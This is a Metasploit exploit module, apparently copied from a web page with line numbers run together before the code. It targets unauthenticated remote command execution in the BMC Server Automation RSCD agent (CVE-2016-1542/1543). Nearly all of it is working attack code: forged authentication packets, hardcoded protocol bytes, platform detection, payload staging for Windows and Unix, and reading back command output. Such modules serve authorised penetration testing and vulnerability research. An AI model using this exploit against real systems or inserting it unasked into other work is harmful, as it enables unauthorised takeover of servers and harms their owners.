1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'BMC Server Automation RSCD Agent NSH Remote ' \ 'Command Execution', 'Description' => %q( This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication. Note: Under Windows, non-powershell commands may need to be prefixed with 'cmd /c'. ), 'Author'=> [ 'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery 'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module ], 'References'=> [ ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'], ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'], ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'], ['CVE', '2016-1542'], ['CVE', '2016-1543'] ], 'DisclosureDate'=> 'Mar 16 2016', 'Privileged'=> false, 'Stance'=> Msf::Exploit::Stance::Aggressive, 'Platform'=> %w[win linux unix], 'Targets' => [ ['Automatic', {}], [ 'Windows/VBS Stager', { 'Platform' => 'win', 'Payload' => { 'Space' => 8100 } } ], [ 'Unix/Linux', { 'Platform' => %w[linux unix], 'Payload' => { 'Space' => 32_700 } } ], [ 'Generic Command', { 'Arch' => ARCH_CMD, 'Platform' => %w[linux unix win] } ] ], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "\x00\x09\x0a" }, 'CmdStagerFlavor' => %w[vbs echo]) ) register_options( [ Opt::RPORT(4750) ] ) deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH') end def check # Send agentinfo request and check result vprint_status('Checking for BMC with agentinfo request.') res = send_agentinfo_request # Check for successful platform detection if res[0] == 1 vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1]) return CheckCode::Detected end # Get first four bytes of the packet which should hold the content length res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0 # Return unknown if the packet format appears correct (length field check) if res[1] && res[1].length - 4 == res_len vprint_warning('Target appears to be BMC, however an unexpected ' \ 'agentinfo response was returned.') vprint_warning('Response: ' + res[1]) return CheckCode::Unknown end # Invalid response, probably not a BMC RSCD target vprint_error('The target does not appear to be a BMC RSCD agent.') vprint_error('Response: ' + res[1]) if res[1] CheckCode::Safe end def exploit # Do auto target selection target_name = target.name if target_name == 'Automatic' # Attempt to detect the target platform vprint_status('Detecting remote platform for auto target selection.') platform = send_agentinfo_request # Fail if platform detection was unsuccessful if platform[0].zero? fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \ 'detecting target platform.') end # Set target based on returned platform target_name = if platform[1].downcase.include?('windows') 'Windows/VBS Stager' else 'Unix/Linux' end end # Exploit based on target vprint_status('Generating and delivering payload.') if target_name == 'Windows/VBS Stager' if payload.raw.start_with?('powershell', 'cmd') execute_command(payload.raw) else execute_cmdstager(flavor: :vbs, linemax: payload.space) end handler elsif target_name == 'Unix/Linux' execute_cmdstager(flavor: :echo, linemax: payload.space) handler elsif target_name == 'Generic Cmd' send_nexec_request(payload.raw, true) end end # Execute a command but don't print output def execute_command(command, opts = {}) if opts[:flavor] == :vbs if command.start_with?('powershell') == false if command.start_with?('cmd') == false send_nexec_request('cmd /c ' + command, false) return end end end send_nexec_request(command, false) end # Connect to the RSCD agent and execute a command via nexec def send_nexec_request(command, show_output) # Connect and auth vprint_status('Connecting to RSCD agent and sending fake auth.') connect_to_rscd send_fake_nexec_auth # Generate and send the payload vprint_status('Sending command to execute.') sock.put(generate_cmd_pkt(command)) # Finish the nexec request sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \ "\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \ "\x35\x38\x3b\x32\x34\x38\x35\x31") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x65\x7f") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x69\x03") sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \ "\x30\x30\x30\x30\x32\x74\x31") sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \ "\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \ "\x34\x31") sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \ "\x30\x30\x30\x30\x31\x7a") # Get the response from the RSCD agent and disconnect vprint_status('Reading response from RSCD agent.') res = read_cmd_output if show_output == true if res && res[0] == 1 print_good("Output\n" + res[1]) else print_warning('Command execution failed, the command may not exist.') vprint_warning("Output\n" + res[1]) end end disconnect end # Attempt to retrieve RSCD agent info and return the platform string def send_agentinfo_request # Connect and send fake auth vprint_status('Connecting to RSCD agent and sending fake auth.') connect_to_rscd send_fake_agentinfo_auth # Send agentinfo request, read the response, and disconnect vprint_status('Requesting agent information.') sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \ "\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \ "\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \ "\x31\x30\x30\x30\x30\x30\x30\x30\x30") res = sock.get_once disconnect # Return the platform field from the response if it looks valid res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0 return [1, res.split(';')[4]] if res && res.split(';').length > 6 && res.length == (res_len + 4) # Invalid or unexpected response format, return the complete response [0, res] end # Connect to the target and upgrade to an encrypted connection def connect_to_rscd connect sock.put('TLS') sock.extend(Rex::Socket::SslTcp) sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23) sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE sock.sslctx.options = OpenSSL::SSL::OP_ALL sock.sslctx.ciphers = 'ALL' sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx) sock.sslsock.connect end # Send fake agentinfo auth packet and ignore the response def send_fake_agentinfo_auth sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \ "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \ "\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \ "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \ "\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \ "\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55\x54\x46\x2d\x38") sock.get_once end # Send fake nexec auth packet and ignore theresponse def send_fake_nexec_auth sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \ "\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \ "\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \ "\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \ "\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \ "\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \ "\x54\x46\x2d\x38") sock.get_once end # Generate a payload packet def generate_cmd_pkt(command) # Encode back slashes pkt = command.gsub('\\', "\xc1\xdc") # Encode double quotes unless powershell is being used pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell') # Construct the body of the payload packet pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \ "\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" + pad_number(pkt.length) + pkt # Prefix with the packet length and return [pkt.length].pack('N') + pkt end # Convert the given number to a hex string padded to 8 chars def pad_number(num) format('%08x', num) end # Read the command output from the server def read_cmd_output all_output = '' response_done = false # Read the entire response from the RSCD service while response_done == false # Read a response chunk chunk = sock.get_once next unless chunk && chunk.length > 4 chunk_len = chunk[0..3].unpack('N')[0] chunk = chunk[4..chunk.length] chunk += sock.get_once while chunk.length < chunk_len # Check for the "end of output" chunk if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \ "\x61\x30\x30\x30\x30\x30\x30" \ "\x30\x32\x78") # Response has completed response_done = true elsif all_output == '' # Keep the first response chunk as-is all_output += chunk # If the command failed, we're done response_done = true unless all_output[8..15].to_i(16) != 1 else # Append everything but the length fields to the output buffer all_output += chunk[17..chunk.length] end end # Return output if response indicated success return [1, all_output[26..all_output.length]] if all_output && all_output.length > 26 && all_output[8..15].to_i(16) == 1 # Return nothing if there isn't enough data for error output return [0, ''] unless all_output && all_output.length > 17 # Get the length of the error output and return the error err_len = all_output[8..15].to_i(16) - 1 [0, all_output[17..17 + err_len]] end end |